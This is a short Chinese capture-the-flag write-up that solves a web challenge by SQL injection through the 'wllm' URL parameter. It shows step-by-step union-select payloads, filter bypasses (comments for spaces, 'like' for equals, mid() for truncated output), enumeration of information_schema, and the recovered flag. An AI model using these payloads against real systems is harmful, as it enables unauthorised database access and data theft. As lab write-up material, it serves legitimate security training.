开启环境:
?wllm=1
回显正常,试试?wllm=1'
出现报错;加上%23正常
?wllm=-1'or 1=1%23出现过滤
测试,空格用**替代, 等号用like替代
测试长度
?wlmm=1'order/**/by/**/3%23正常
?wlmm=1'order/**/by/**/4%23报错
长度为3,测试回显位置:
?wlmm=-1'union/**/select/**/1,2,3%23
正常,查database:
?wllm=-1'union/**/select/**/1,2,database()%23
正常,查table:
?wllm=-1'union/**/select/**/1,2,group_concat(table_name)/**/from/**/informa tion_schema.tables/**/where/**/table_schema/**/like/**/'test_db'%23
正常,查column:
?wllm=-1'union/**/select/**/1,2,group_concat(column_name)/**/from/**/inform ation_schema.columns/**/where/**/table_schema/**/like/**/'test_db'%23
继续,查询内容:
?wllm=-1'union/**/select/**/1,2,group_concat(flag)/**/from/**/test_db.LTLT_ flag%23
位数长度不足 使用截断函数进行绕过,substr,right,REVERSE 被过滤(测试出来的),只能用mid截取,因为回显只能有20个,所以20,一组截取
?wllm=-1'union/**/select/**/1,2,mid(group_concat(flag),20,20)/**/from/**/tes t_db.LTLT_flag%23
继续读到三组:
?wllm=-1'union/**/select/**/1,2,mid(group_concat(flag),30,20)/**/from/**/test_db.LTLT_flag%23
NSSCTF{d8a5d396-1f8c-4dc5-ad4b-c96242394736}
OK!!
附:mid函数
mid(column_name,start[,length]) //此函数为截取字符串一部分
//column_name 必需。要提取字符的字段。
//start 必需。规定开始位置(起始值是 1)。
//length 可选。要返回的字符数。如果省略,则 MID() 函数返回剩余文本。
/*
例:mid(database(),1,1)='a'
通过=右侧字母的改变和表达式的真假判断库名
*/